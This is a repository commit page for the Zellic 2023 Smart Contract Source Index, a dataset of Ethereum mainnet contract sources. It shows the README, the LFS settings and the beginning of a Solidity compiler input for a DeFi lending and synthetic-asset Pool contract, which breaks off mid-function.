zellic-audit
commited on
Commit
·
f998fcd
0
Parent(s):
Initial commit
Browse filesThis view is limited to 50 files because it contains too many changes.
See raw diff
- .gitattributes +57 -0
- README.md +50 -0
- address_bytecodehash_index +3 -0
- organized_contracts/00/0000f2d83ae998c42325ec38f81c0cd1694a48cb50e46fd373c1468f548f66f3/contract.json +102 -0
- organized_contracts/00/0000f2d83ae998c42325ec38f81c0cd1694a48cb50e46fd373c1468f548f66f3/metadata.json +1 -0
- organized_contracts/00/0001164e08b9e5ceb8a68c962e6543b4f5e671569189fa82284ac83edd6a888c/contract.json +46 -0
- organized_contracts/00/0001164e08b9e5ceb8a68c962e6543b4f5e671569189fa82284ac83edd6a888c/metadata.json +1 -0
- organized_contracts/00/0001aeb5b5965acab0e905048744d52b60450e10c9211b5c3c435d089728da84/main.sol +321 -0
- organized_contracts/00/0001aeb5b5965acab0e905048744d52b60450e10c9211b5c3c435d089728da84/metadata.json +1 -0
- organized_contracts/00/0002ef6c845e44817b19d0d8f31aa9b27cb84a54a3744d15182a9f0d2b47eda7/main.sol +355 -0
- organized_contracts/00/0002ef6c845e44817b19d0d8f31aa9b27cb84a54a3744d15182a9f0d2b47eda7/metadata.json +1 -0
- organized_contracts/00/000307085df1d6909ca18db2b2ff2437de8289f1e3075fc39b7b72929a1f9c1f/contract.json +46 -0
- organized_contracts/00/000307085df1d6909ca18db2b2ff2437de8289f1e3075fc39b7b72929a1f9c1f/metadata.json +1 -0
- organized_contracts/00/00038f4fd3934efaf913adef2788ffa2d3a720efea3c45d177e74c18da64cd6d/contract.json +46 -0
- organized_contracts/00/00038f4fd3934efaf913adef2788ffa2d3a720efea3c45d177e74c18da64cd6d/metadata.json +1 -0
- organized_contracts/00/00040fa1294a61ca4c9447acf3f16d9060be83afbe6b21a8f19c88168b7b4d60/main.sol +1041 -0
- organized_contracts/00/00040fa1294a61ca4c9447acf3f16d9060be83afbe6b21a8f19c88168b7b4d60/metadata.json +1 -0
- organized_contracts/00/00044a0010ae59e234e1d9d1cdc07d0a00ee41d2343541b18abe6ce55a97eb8f/main.sol +1137 -0
- organized_contracts/00/00044a0010ae59e234e1d9d1cdc07d0a00ee41d2343541b18abe6ce55a97eb8f/metadata.json +1 -0
- organized_contracts/00/00046b60801996f2432b75493587cf0635c238d9b2d7f59e20b5967ed701f4c6/main.sol +890 -0
- organized_contracts/00/00046b60801996f2432b75493587cf0635c238d9b2d7f59e20b5967ed701f4c6/metadata.json +1 -0
- organized_contracts/00/0004d84a4049e95cd4d0a9551c3153b5a1a2827c50f2f3bb2cdb0c8396e07712/contract.json +0 -0
- organized_contracts/00/0004d84a4049e95cd4d0a9551c3153b5a1a2827c50f2f3bb2cdb0c8396e07712/metadata.json +1 -0
- organized_contracts/00/00058603e57d90f2a3b70bb2828be60bf0128a8b7007434e6f40e4812903f28c/main.sol +688 -0
- organized_contracts/00/00058603e57d90f2a3b70bb2828be60bf0128a8b7007434e6f40e4812903f28c/metadata.json +1 -0
- organized_contracts/00/0005a63e9ae973fafe53fb4de518e235c6d4f746d5f135a885b1bcdf833d4c20/main.sol +595 -0
- organized_contracts/00/0005a63e9ae973fafe53fb4de518e235c6d4f746d5f135a885b1bcdf833d4c20/metadata.json +1 -0
- organized_contracts/00/00063e5559b3523c1ebdd1774e6387d8d6a270f712578999183191e11a65ad30/main.sol +798 -0
- organized_contracts/00/00063e5559b3523c1ebdd1774e6387d8d6a270f712578999183191e11a65ad30/metadata.json +1 -0
- organized_contracts/00/00069936619801b0e6801aad2ccc146441de9568a1836ba002eaf5ae1c26b641/main.sol +1613 -0
- organized_contracts/00/00069936619801b0e6801aad2ccc146441de9568a1836ba002eaf5ae1c26b641/metadata.json +1 -0
- organized_contracts/00/0007320b85e8d59d8f00a1e7d9a97efc7c58641300ff50cb7a7ead9829fde4dd/contract.json +46 -0
- organized_contracts/00/0007320b85e8d59d8f00a1e7d9a97efc7c58641300ff50cb7a7ead9829fde4dd/metadata.json +1 -0
- organized_contracts/00/000768667f54a9fb7659e594f789d4ef3975505633b5eef967ce9c17a344aa3b/main.sol +594 -0
- organized_contracts/00/000768667f54a9fb7659e594f789d4ef3975505633b5eef967ce9c17a344aa3b/metadata.json +1 -0
- organized_contracts/00/0008c1e6b7aa5ff81ec0fb6bcc242dce044db12c680ce9a211c9d5e491b6ae9c/contract.json +46 -0
- organized_contracts/00/0008c1e6b7aa5ff81ec0fb6bcc242dce044db12c680ce9a211c9d5e491b6ae9c/metadata.json +1 -0
- organized_contracts/00/0008d8bf9106e63c8c817860dcd08ca0a194d28c9108a19ee9810c71c15a0e75/contract.json +0 -0
- organized_contracts/00/0008d8bf9106e63c8c817860dcd08ca0a194d28c9108a19ee9810c71c15a0e75/metadata.json +1 -0
- organized_contracts/00/000ab28b4a65257ea199f8f36cb5fc7e701c1dc548687aab94c179399043e8b1/contract.json +82 -0
- organized_contracts/00/000ab28b4a65257ea199f8f36cb5fc7e701c1dc548687aab94c179399043e8b1/metadata.json +1 -0
- organized_contracts/00/000aeabc20fe15234a2acca91f956c7dbcda7b2f4d6f1e8f167653c66c6cd85a/main.sol +909 -0
- organized_contracts/00/000aeabc20fe15234a2acca91f956c7dbcda7b2f4d6f1e8f167653c66c6cd85a/metadata.json +1 -0
- organized_contracts/00/000b1540637b24f83bda88cefbc2a49eaa7281ce46e323d947c220dca9536365/main.sol +391 -0
- organized_contracts/00/000b1540637b24f83bda88cefbc2a49eaa7281ce46e323d947c220dca9536365/metadata.json +1 -0
- organized_contracts/00/000b154951d1a6bad330c6c24edc883c395c041c0c3e6475cce263515192aa38/main.sol +396 -0
- organized_contracts/00/000b154951d1a6bad330c6c24edc883c395c041c0c3e6475cce263515192aa38/metadata.json +1 -0
- organized_contracts/00/000b28a5f2395b7cbd3d2f673a45f5b9a7e08b2de3bcafb1d0a877ae0ecaed92/main.sol +380 -0
- organized_contracts/00/000b28a5f2395b7cbd3d2f673a45f5b9a7e08b2de3bcafb1d0a877ae0ecaed92/metadata.json +1 -0
- organized_contracts/00/000b75b1477c4c3bb454b9c8e778ed6aba899e2bda7bef7040fd785a574b365d/main.sol +687 -0
.gitattributes
ADDED
@@ -0,0 +1,57 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
*.7z filter=lfs diff=lfs merge=lfs -text
|
2 |
+
*.arrow filter=lfs diff=lfs merge=lfs -text
|
3 |
+
*.bin filter=lfs diff=lfs merge=lfs -text
|
4 |
+
*.bz2 filter=lfs diff=lfs merge=lfs -text
|
5 |
+
*.ckpt filter=lfs diff=lfs merge=lfs -text
|
6 |
+
*.ftz filter=lfs diff=lfs merge=lfs -text
|
7 |
+
*.gz filter=lfs diff=lfs merge=lfs -text
|
8 |
+
*.h5 filter=lfs diff=lfs merge=lfs -text
|
9 |
+
*.joblib filter=lfs diff=lfs merge=lfs -text
|
10 |
+
*.lfs.* filter=lfs diff=lfs merge=lfs -text
|
11 |
+
*.lz4 filter=lfs diff=lfs merge=lfs -text
|
12 |
+
*.mlmodel filter=lfs diff=lfs merge=lfs -text
|
13 |
+
*.model filter=lfs diff=lfs merge=lfs -text
|
14 |
+
*.msgpack filter=lfs diff=lfs merge=lfs -text
|
15 |
+
*.npy filter=lfs diff=lfs merge=lfs -text
|
16 |
+
*.npz filter=lfs diff=lfs merge=lfs -text
|
17 |
+
*.onnx filter=lfs diff=lfs merge=lfs -text
|
18 |
+
*.ot filter=lfs diff=lfs merge=lfs -text
|
19 |
+
*.parquet filter=lfs diff=lfs merge=lfs -text
|
20 |
+
*.pb filter=lfs diff=lfs merge=lfs -text
|
21 |
+
*.pickle filter=lfs diff=lfs merge=lfs -text
|
22 |
+
*.pkl filter=lfs diff=lfs merge=lfs -text
|
23 |
+
*.pt filter=lfs diff=lfs merge=lfs -text
|
24 |
+
*.pth filter=lfs diff=lfs merge=lfs -text
|
25 |
+
*.rar filter=lfs diff=lfs merge=lfs -text
|
26 |
+
*.safetensors filter=lfs diff=lfs merge=lfs -text
|
27 |
+
saved_model/**/* filter=lfs diff=lfs merge=lfs -text
|
28 |
+
*.tar.* filter=lfs diff=lfs merge=lfs -text
|
29 |
+
*.tflite filter=lfs diff=lfs merge=lfs -text
|
30 |
+
*.tgz filter=lfs diff=lfs merge=lfs -text
|
31 |
+
*.wasm filter=lfs diff=lfs merge=lfs -text
|
32 |
+
*.xz filter=lfs diff=lfs merge=lfs -text
|
33 |
+
*.zip filter=lfs diff=lfs merge=lfs -text
|
34 |
+
*.zst filter=lfs diff=lfs merge=lfs -text
|
35 |
+
*tfevents* filter=lfs diff=lfs merge=lfs -text
|
36 |
+
# Audio files - uncompressed
|
37 |
+
*.pcm filter=lfs diff=lfs merge=lfs -text
|
38 |
+
*.sam filter=lfs diff=lfs merge=lfs -text
|
39 |
+
*.raw filter=lfs diff=lfs merge=lfs -text
|
40 |
+
# Audio files - compressed
|
41 |
+
*.aac filter=lfs diff=lfs merge=lfs -text
|
42 |
+
*.flac filter=lfs diff=lfs merge=lfs -text
|
43 |
+
*.mp3 filter=lfs diff=lfs merge=lfs -text
|
44 |
+
*.ogg filter=lfs diff=lfs merge=lfs -text
|
45 |
+
*.wav filter=lfs diff=lfs merge=lfs -text
|
46 |
+
# Image files - uncompressed
|
47 |
+
*.bmp filter=lfs diff=lfs merge=lfs -text
|
48 |
+
*.gif filter=lfs diff=lfs merge=lfs -text
|
49 |
+
*.png filter=lfs diff=lfs merge=lfs -text
|
50 |
+
*.tiff filter=lfs diff=lfs merge=lfs -text
|
51 |
+
# Image files - compressed
|
52 |
+
*.jpg filter=lfs diff=lfs merge=lfs -text
|
53 |
+
*.jpeg filter=lfs diff=lfs merge=lfs -text
|
54 |
+
*.webp filter=lfs diff=lfs merge=lfs -text
|
55 |
+
|
56 |
+
address_bytecodehash_index filter=lfs diff=lfs merge=lfs -text
|
57 |
+
|
README.md
ADDED
@@ -0,0 +1,50 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
---
|
2 |
+
language:
|
3 |
+
- en
|
4 |
+
tags:
|
5 |
+
- solidity
|
6 |
+
- blockchain
|
7 |
+
- ethereum
|
8 |
+
- smart-contract
|
9 |
+
pretty_name: Zellic Smart Contract Source Index
|
10 |
+
size_categories:
|
11 |
+
- 100K<n<1M
|
12 |
+
---
|
13 |
+
# Zellic 2023 Smart Contract Source Index
|
14 |
+
|
15 |
+
Zellic is making publicly available a dataset of known Ethereum mainnet smart contract source code.
|
16 |
+
|
17 |
+
Our aim is to provide a contract source code dataset that is readily available to the public to download in bulk. We believe this dataset will help advance the frontier of smart contract security research. Applications include static analysis, machine learning, and more. This effort is part of Zellic’s mission to create a world with no smart contract hacks.
|
18 |
+
|
19 |
+
We used a custom fork of Geth to accumulate a list of all deployed contracts on Ethereum mainnet as of block 16860349. This list does not include contracts that are selfdestructed. Next, we deduplicated contract addresses by runtime bytecode. Finally, we cross-referenced this list with online sources of contract source code. All data was obtained from publicly available sources.
|
20 |
+
|
21 |
+
## Dataset Structure
|
22 |
+
|
23 |
+
### Index
|
24 |
+
|
25 |
+
The `address_bytecodehash_index` file contains a list of known smart contract addresses mapped to the Keccak256 hash of their EVM bytecode.
|
26 |
+
|
27 |
+
Look up the smart contract address in this file to find the source. This file also serves as a list of all deployed smart contracts as of block 16860349.
|
28 |
+
|
29 |
+
### Contract Sources
|
30 |
+
|
31 |
+
Smart Contract sources are organized by folder in the `organized_contracts` directory.
|
32 |
+
|
33 |
+
For example, a contract with the bytecode hash `beef3d7d1884c4fee50548cfe762415fe494e3feb1e6ca181352ef023ba1ff7a` would be in the directory `organized_contracts/be/beef3d7d1884c4fee50548cfe762415fe494e3feb1e6ca181352ef023ba1ff7a/`.
|
34 |
+
|
35 |
+
Each folder for a smart contract contains the source files as well as a `metadata.json` that contains information about the contract such as the compiler version and optimizations used. These settings can be used to attempt to reproduce the build.
|
36 |
+
|
37 |
+
#### Source Formats
|
38 |
+
|
39 |
+
Contracts may come in one of three source formats. Single file, multiple files, and [Solidity Compiler JSON](https://docs.soliditylang.org/en/v0.8.19/using-the-compiler.html#compiler-api).
|
40 |
+
|
41 |
+
For single and multiple file contacts, each `.sol` file will be included in the directory. Single file contracts will be named `main.sol`.
|
42 |
+
|
43 |
+
For Solidity Compiler Input JSON, the compiler input will be stored in `contract.json`.
|
44 |
+
|
45 |
+
## Notices
|
46 |
+
|
47 |
+
The smart contract source code in this dataset were obtained from publicly available sources. You should always abide by the appropriate code and software licenses, as well as all applicable copyright law.
|
48 |
+
|
49 |
+
THE DATASET/SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE DATASET/SOFTWARE OR THE USE OR OTHER DEALINGS IN THE DATASET/SOFTWARE.
|
50 |
+
|
address_bytecodehash_index
ADDED
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
1 |
+
version https://git-lfs.github.com/spec/v1
|
2 |
+
oid sha256:b3e0a87be53b1fbf88a72877aca628b9e3f94f8d23de278b1a4c8bfceb9febd8
|
3 |
+
size 3242185549
|
organized_contracts/00/0000f2d83ae998c42325ec38f81c0cd1694a48cb50e46fd373c1468f548f66f3/contract.json
ADDED
@@ -0,0 +1,102 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"language": "Solidity",
|
3 |
+
"settings": {
|
4 |
+
"evmVersion": "london",
|
5 |
+
"libraries": {},
|
6 |
+
"metadata": {
|
7 |
+
"bytecodeHash": "ipfs",
|
8 |
+
"useLiteralContent": true
|
9 |
+
},
|
10 |
+
"optimizer": {
|
11 |
+
"enabled": true,
|
12 |
+
"runs": 200
|
13 |
+
},
|
14 |
+
"remappings": [],
|
15 |
+
"outputSelection": {
|
16 |
+
"*": {
|
17 |
+
"*": [
|
18 |
+
"evm.bytecode",
|
19 |
+
"evm.deployedBytecode",
|
20 |
+
"devdoc",
|
21 |
+
"userdoc",
|
22 |
+
"metadata",
|
23 |
+
"abi"
|
24 |
+
]
|
25 |
+
}
|
26 |
+
}
|
27 |
+
},
|
28 |
+
"sources": {
|
29 |
+
"contracts/Pool.sol": {
|
30 |
+
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nimport \"./dependencies/openzeppelin/security/ReentrancyGuard.sol\";\nimport \"./storage/PoolStorage.sol\";\nimport \"./lib/WadRayMath.sol\";\nimport \"./utils/Pauseable.sol\";\n\n/**\n * @title Pool contract\n */\ncontract Pool is ReentrancyGuard, Pauseable, PoolStorageV1 {\n using SafeERC20 for IERC20;\n using WadRayMath for uint256;\n using EnumerableSet for EnumerableSet.AddressSet;\n using MappedEnumerableSet for MappedEnumerableSet.AddressSet;\n\n string public constant VERSION = \"1.0.0\";\n\n /// @notice Emitted when protocol liquidation fee is updated\n event DebtFloorUpdated(uint256 oldDebtFloorInUsd, uint256 newDebtFloorInUsd);\n\n /// @notice Emitted when debt token is enabled\n event DebtTokenAdded(IDebtToken indexed debtToken);\n\n /// @notice Emitted when debt token is disabled\n event DebtTokenRemoved(IDebtToken indexed debtToken);\n\n /// @notice Emitted when deposit fee is updated\n event DepositFeeUpdated(uint256 oldDepositFee, uint256 newDepositFee);\n\n /// @notice Emitted when deposit token is enabled\n event DepositTokenAdded(address indexed depositToken);\n\n /// @notice Emitted when deposit token is disabled\n event DepositTokenRemoved(IDepositToken indexed depositToken);\n\n /// @notice Emitted when issue fee is updated\n event IssueFeeUpdated(uint256 oldIssueFee, uint256 newIssueFee);\n\n /// @notice Emitted when liquidator liquidation fee is updated\n event LiquidatorLiquidationFeeUpdated(uint256 oldLiquidatorLiquidationFee, uint256 newLiquidatorLiquidationFee);\n\n /// @notice Emitted when maxLiquidable (liquidation cap) is updated\n event MaxLiquidableUpdated(uint256 oldMaxLiquidable, uint256 newMaxLiquidable);\n\n /// @notice Emitted when a position is liquidated\n event PositionLiquidated(\n address indexed liquidator,\n address indexed account,\n ISyntheticToken indexed syntheticToken,\n uint256 amountRepaid,\n uint256 depositSeized,\n uint256 fee\n );\n\n /// @notice Emitted when protocol liquidation fee is updated\n event ProtocolLiquidationFeeUpdated(uint256 oldProtocolLiquidationFee, uint256 newProtocolLiquidationFee);\n\n /// @notice Emitted when repay fee is updated\n event RepayFeeUpdated(uint256 oldRepayFee, uint256 newRepayFee);\n\n /// @notice Emitted when rewards distributor contract is added\n event RewardsDistributorAdded(IRewardsDistributor _distributor);\n\n /// @notice Emitted when rewards distributor contract is removed\n event RewardsDistributorRemoved(IRewardsDistributor _distributor);\n\n /// @notice Emitted when swap fee is updated\n event SwapFeeUpdated(uint256 oldSwapFee, uint256 newSwapFee);\n\n /// @notice Emitted when the swap active flag is updated\n event SwapActiveUpdated(bool newActive);\n\n /// @notice Emitted when synthetic token is swapped\n event SyntheticTokenSwapped(\n address indexed account,\n ISyntheticToken indexed syntheticTokenIn,\n ISyntheticToken indexed syntheticTokenOut,\n uint256 amountIn,\n uint256 amountOut,\n uint256 fee\n );\n\n /// @notice Emitted when treasury contract is updated\n event TreasuryUpdated(ITreasury indexed oldTreasury, ITreasury indexed newTreasury);\n\n /// @notice Emitted when withdraw fee is updated\n event WithdrawFeeUpdated(uint256 oldWithdrawFee, uint256 newWithdrawFee);\n\n /**\n * @dev Throws if deposit token doesn't exist\n */\n modifier onlyIfDepositTokenExists(IDepositToken depositToken_) {\n require(isDepositTokenExists(depositToken_), \"collateral-inexistent\");\n _;\n }\n\n /**\n * @dev Throws if synthetic token doesn't exist\n */\n modifier onlyIfSyntheticTokenExists(ISyntheticToken syntheticToken_) {\n require(isSyntheticTokenExists(syntheticToken_), \"synthetic-inexistent\");\n _;\n }\n\n /**\n * @dev Throws if `msg.sender` isn't a debt token\n */\n modifier onlyIfMsgSenderIsDebtToken() {\n require(isDebtTokenExists(IDebtToken(msg.sender)), \"caller-is-not-debt-token\");\n _;\n }\n\n function initialize(IPoolRegistry poolRegistry_) public initializer {\n require(address(poolRegistry_) != address(0), \"pool-registry-is-null\");\n __ReentrancyGuard_init();\n __Pauseable_init();\n\n poolRegistry = poolRegistry_;\n isSwapActive = true;\n\n repayFee = 3e15; // 0.3%\n liquidationFees = LiquidationFees({\n liquidatorFee: 1e17, // 10%\n protocolFee: 8e16 // 8%\n });\n maxLiquidable = 0.5e18; // 50%\n swapFee = 6e15; // 0.6%\n }\n\n /**\n * @notice Add a debt token to the per-account list\n * @dev This function is called from `DebtToken` when user's balance changes from `0`\n * @dev The caller should ensure to not pass `address(0)` as `_account`\n * @param account_ The account address\n */\n function addToDebtTokensOfAccount(address account_) external onlyIfMsgSenderIsDebtToken {\n require(debtTokensOfAccount.add(account_, msg.sender), \"debt-token-exists\");\n }\n\n /**\n * @notice Add a deposit token to the per-account list\n * @dev This function is called from `DepositToken` when user's balance changes from `0`\n * @dev The caller should ensure to not pass `address(0)` as `_account`\n * @param account_ The account address\n */\n function addToDepositTokensOfAccount(address account_) external {\n require(depositTokens.contains(msg.sender), \"caller-is-not-deposit-token\");\n require(depositTokensOfAccount.add(account_, msg.sender), \"deposit-token-exists\");\n }\n\n /**\n * @notice Get account's debt by querying latest prices from oracles\n * @param account_ The account to check\n * @return _debtInUsd The debt value in USD\n */\n function debtOf(address account_) public view override returns (uint256 _debtInUsd) {\n IMasterOracle _masterOracle = masterOracle();\n uint256 _length = debtTokensOfAccount.length(account_);\n for (uint256 i; i < _length; ++i) {\n IDebtToken _debtToken = IDebtToken(debtTokensOfAccount.at(account_, i));\n _debtInUsd += _masterOracle.quoteTokenToUsd(\n address(_debtToken.syntheticToken()),\n _debtToken.balanceOf(account_)\n );\n }\n }\n\n /**\n * @notice Get if the debt position from an account is healthy\n * @param account_ The account to check\n * @return _isHealthy Whether the account's position is healthy\n * @return _depositInUsd The total collateral deposited in USD\n * @return _debtInUsd The total debt in USD\n * @return _issuableLimitInUsd The max amount of debt (is USD) that can be created (considering collateralization ratios)\n * @return _issuableInUsd The amount of debt (is USD) that is free (i.e. can be used to issue synthetic tokens)\n */\n function debtPositionOf(address account_)\n public\n view\n override\n returns (\n bool _isHealthy,\n uint256 _depositInUsd,\n uint256 _debtInUsd,\n uint256 _issuableLimitInUsd,\n uint256 _issuableInUsd\n )\n {\n _debtInUsd = debtOf(account_);\n (_depositInUsd, _issuableLimitInUsd) = depositOf(account_);\n _isHealthy = _debtInUsd <= _issuableLimitInUsd;\n _issuableInUsd = _debtInUsd < _issuableLimitInUsd ? _issuableLimitInUsd - _debtInUsd : 0;\n }\n\n /**\n * @notice Get account's total collateral deposited by querying latest prices from oracles\n * @param account_ The account to check\n * @return _depositInUsd The total deposit value in USD among all collaterals\n * @return _issuableLimitInUsd The max value in USD that can be used to issue synthetic tokens\n */\n function depositOf(address account_)\n public\n view\n override\n returns (uint256 _depositInUsd, uint256 _issuableLimitInUsd)\n {\n IMasterOracle _masterOracle = masterOracle();\n uint256 _length = depositTokensOfAccount.length(account_);\n for (uint256 i; i < _length; ++i) {\n IDepositToken _depositToken = IDepositToken(depositTokensOfAccount.at(account_, i));\n uint256 _amountInUsd = _masterOracle.quoteTokenToUsd(\n address(_depositToken.underlying()),\n _depositToken.balanceOf(account_)\n );\n _depositInUsd += _amountInUsd;\n _issuableLimitInUsd += _amountInUsd.wadMul(_depositToken.collateralizationRatio());\n }\n }\n\n /**\n * @inheritdoc Pauseable\n */\n function everythingStopped() public view override(IPauseable, Pauseable) returns (bool) {\n return super.everythingStopped() || poolRegistry.everythingStopped();\n }\n\n /**\n * @notice Returns fee collector address\n */\n function feeCollector() external view returns (address) {\n return poolRegistry.feeCollector();\n }\n\n /**\n * @notice Get all debt tokens\n * @dev WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed\n * to mostly be used by view accessors that are queried without any gas fees.\n */\n function getDebtTokens() external view override returns (address[] memory) {\n return debtTokens.values();\n }\n\n /**\n * @notice Get all debt tokens\n * @dev WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed\n * to mostly be used by view accessors that are queried without any gas fees.\n */\n function getDebtTokensOfAccount(address account_) external view override returns (address[] memory) {\n return debtTokensOfAccount.values(account_);\n }\n\n /**\n * @notice Get all deposit tokens\n * @dev WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed\n * to mostly be used by view accessors that are queried without any gas fees.\n */\n function getDepositTokens() external view override returns (address[] memory) {\n return depositTokens.values();\n }\n\n /**\n * @notice Get deposit tokens of an account\n * @dev WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed\n * to mostly be used by view accessors that are queried without any gas fees.\n */\n function getDepositTokensOfAccount(address account_) external view override returns (address[] memory) {\n return depositTokensOfAccount.values(account_);\n }\n\n /**\n * @notice Get all rewards distributors\n */\n function getRewardsDistributors() external view override returns (IRewardsDistributor[] memory) {\n return rewardsDistributors;\n }\n\n /**\n * @notice Check if token is part of the debt offerings\n * @param debtToken_ Asset to check\n * @return true if exist\n */\n function isDebtTokenExists(IDebtToken debtToken_) public view override returns (bool) {\n return debtTokens.contains(address(debtToken_));\n }\n\n /**\n * @notice Check if collateral is supported\n * @param depositToken_ Asset to check\n * @return true if exist\n */\n function isDepositTokenExists(IDepositToken depositToken_) public view override returns (bool) {\n return depositTokens.contains(address(depositToken_));\n }\n\n /**\n * @notice Check if token is part of the synthetic offerings\n * @param syntheticToken_ Asset to check\n * @return true if exist\n */\n function isSyntheticTokenExists(ISyntheticToken syntheticToken_) public view override returns (bool) {\n return address(debtTokenOf[syntheticToken_]) != address(0);\n }\n\n /**\n * @notice Burn synthetic token, unlock deposit token and send liquidator liquidation fee\n * @param syntheticToken_ The msAsset to use for repayment\n * @param account_ The account with an unhealthy position\n * @param amountToRepay_ The amount to repay in synthetic token\n * @param depositToken_ The collateral to seize from\n */\n function liquidate(\n ISyntheticToken syntheticToken_,\n address account_,\n uint256 amountToRepay_,\n IDepositToken depositToken_\n ) external override whenNotShutdown nonReentrant onlyIfDepositTokenExists(depositToken_) {\n require(amountToRepay_ > 0, \"amount-is-zero\");\n require(msg.sender != account_, \"can-not-liquidate-own-position\");\n\n IDebtToken _debtToken = debtTokenOf[syntheticToken_];\n _debtToken.accrueInterest();\n\n (bool _isHealthy, , , , ) = debtPositionOf(account_);\n\n require(!_isHealthy, \"position-is-healthy\");\n\n uint256 _debtTokenBalance = _debtToken.balanceOf(account_);\n\n require(amountToRepay_.wadDiv(_debtTokenBalance) <= maxLiquidable, \"amount-gt-max-liquidable\");\n\n IMasterOracle _masterOracle = masterOracle();\n\n if (debtFloorInUsd > 0) {\n uint256 _newDebtInUsd = _masterOracle.quoteTokenToUsd(\n address(syntheticToken_),\n _debtTokenBalance - amountToRepay_\n );\n require(_newDebtInUsd == 0 || _newDebtInUsd >= debtFloorInUsd, \"remaining-debt-lt-floor\");\n }\n\n uint256 _amountToRepayInCollateral = _masterOracle.quote(\n address(syntheticToken_),\n address(depositToken_.underlying()),\n amountToRepay_\n );\n\n LiquidationFees memory _fees = liquidationFees;\n\n uint256 _toProtocol = _fees.protocolFee > 0 ? _amountToRepayInCollateral.wadMul(_fees.protocolFee) : 0;\n uint256 _toLiquidator = _amountToRepayInCollateral.wadMul(1e18 + _fees.liquidatorFee);\n uint256 _depositToSeize = _toProtocol + _toLiquidator;\n\n require(_depositToSeize <= depositToken_.balanceOf(account_), \"amount-too-high\");\n\n syntheticToken_.burn(msg.sender, amountToRepay_);\n _debtToken.burn(account_, amountToRepay_);\n depositToken_.seize(account_, msg.sender, _toLiquidator);\n\n if (_toProtocol > 0) {\n depositToken_.seize(account_, poolRegistry.feeCollector(), _toProtocol);\n }\n\n emit PositionLiquidated(msg.sender, account_, syntheticToken_, amountToRepay_, _depositToSeize, _toProtocol);\n }\n\n /**\n * @notice Get MasterOracle contract\n */\n function masterOracle() public view override returns (IMasterOracle) {\n return poolRegistry.masterOracle();\n }\n\n /**\n * @inheritdoc Pauseable\n */\n function paused() public view override(IPauseable, Pauseable) returns (bool) {\n return super.paused() || poolRegistry.paused();\n }\n\n /**\n * @notice Remove a debt token from the per-account list\n * @dev This function is called from `DebtToken` when user's balance changes to `0`\n * @dev The caller should ensure to not pass `address(0)` as `_account`\n * @param account_ The account address\n */\n function removeFromDebtTokensOfAccount(address account_) external onlyIfMsgSenderIsDebtToken {\n require(debtTokensOfAccount.remove(account_, msg.sender), \"debt-token-doesnt-exist\");\n }\n\n /**\n * @notice Remove a deposit token from the per-account list\n * @dev This function is called from `DepositToken` when user's balance changes to `0`\n * @dev The caller should ensure to not pass `address(0)` as `_account`\n * @param account_ The account address\n */\n function removeFromDepositTokensOfAccount(address account_) external {\n require(depositTokens.contains(msg.sender), \"caller-is-not-deposit-token\");\n require(depositTokensOfAccount.remove(account_, msg.sender), \"deposit-token-doesnt-exist\");\n }\n\n /**\n * @notice Swap synthetic tokens\n * @param syntheticTokenIn_ Synthetic token to sell\n * @param syntheticTokenOut_ Synthetic token to buy\n * @param amountIn_ Amount to swap\n */\n function swap(\n ISyntheticToken syntheticTokenIn_,\n ISyntheticToken syntheticTokenOut_,\n uint256 amountIn_\n )\n external\n override\n whenNotShutdown\n nonReentrant\n onlyIfSyntheticTokenExists(syntheticTokenIn_)\n onlyIfSyntheticTokenExists(syntheticTokenOut_)\n returns (uint256 _amountOut)\n {\n require(isSwapActive, \"swap-is-off\");\n require(amountIn_ > 0 && amountIn_ <= syntheticTokenIn_.balanceOf(msg.sender), \"amount-in-is-invalid\");\n syntheticTokenIn_.burn(msg.sender, amountIn_);\n\n _amountOut = poolRegistry.masterOracle().quote(\n address(syntheticTokenIn_),\n address(syntheticTokenOut_),\n amountIn_\n );\n\n uint256 _feeAmount;\n if (swapFee > 0) {\n _feeAmount = _amountOut.wadMul(swapFee);\n syntheticTokenOut_.mint(poolRegistry.feeCollector(), _feeAmount);\n _amountOut 